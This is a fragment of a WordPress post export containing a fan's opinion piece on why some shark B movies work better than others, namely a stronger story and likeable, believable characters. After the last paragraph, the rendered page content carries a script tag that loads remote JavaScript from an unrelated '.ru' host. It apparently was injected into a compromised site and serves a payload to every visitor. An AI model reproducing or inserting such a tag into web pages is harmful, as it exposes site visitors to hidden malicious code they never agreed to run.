&#8211; Story,Character, Creature"},"content":{"rendered":"<p>I recently watched several shark B movies that had the same amount of kills, gore, and explosions.\u00a0 I asked myself why did I enjoy one more than the other?\u00a0\u00a0 I did enjoy all of them and to keep anyone from jumping on me thinking I didn\u2019t like one of them the titles are being withheld to protect the writers, directors and producers.\u00a0<\/p>\n<p>The difference between the movies was simple and there\u2019s no need to change the monster, gore, eye candy, explosions, or any special effects.\u00a0 Have a more solid story and make the characters realistic and likeable.\u00a0 One or all of the main characters can be clueless or arrogant, but they need to be likeable.\u00a0\u00a0<\/p>\n<p>In the films I thought worked better the characters story was first then the shark\/creature second.\u00a0 That way I got into the characters minds and wanted them to achieve their goal versus hoping the creature will destroy the most annoying person.\u00a0 Which don\u2019t get me wrong is one my favorite things about B movies.\u00a0<\/p>\n<p>Make the movie believable.\u00a0 Yeah I know it\u2019s a B movie, but in the real world don\u2019t we see people come together in times of disasters and fight together?\u00a0 Let everyone put their strengths and minds together to beat the monster and not rely on a party guy to just happen to have napalm in his basement or the hot girl has a MacGyver father and can assemble a nuclear bomb with household items.\u00a0\u00a0<\/p>\n<p>People naturally remember more negatives than positives.\u00a0 After my friends would rip on a movie, I\u2019ll bring up the moments I liked a lot and were creative to remind them of the good material and occasionally they\u2019ll change their opinion from crappy to so-so.\u00a0 There are plenty of B movies out there that are very successful and if you watch them again you will notice that you liked the characters and there was a story to pay attention to besides the creature, monster, antagonist, etc.\u00a0<\/p>\n<p>Lastly I have to reiterate that I will enjoy a film no matter what and my thoughts above are for the typical non B movie fan.\u00a0 Us B movie fans and filmmakers enjoy our creatures, raunchy comedy, and horror regardless but they may not.\u00a0 This is just my opinion and we\u2019d love to hear your thoughts.\u00a0<\/p>\n<p>&nbsp;<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>I recently watched several
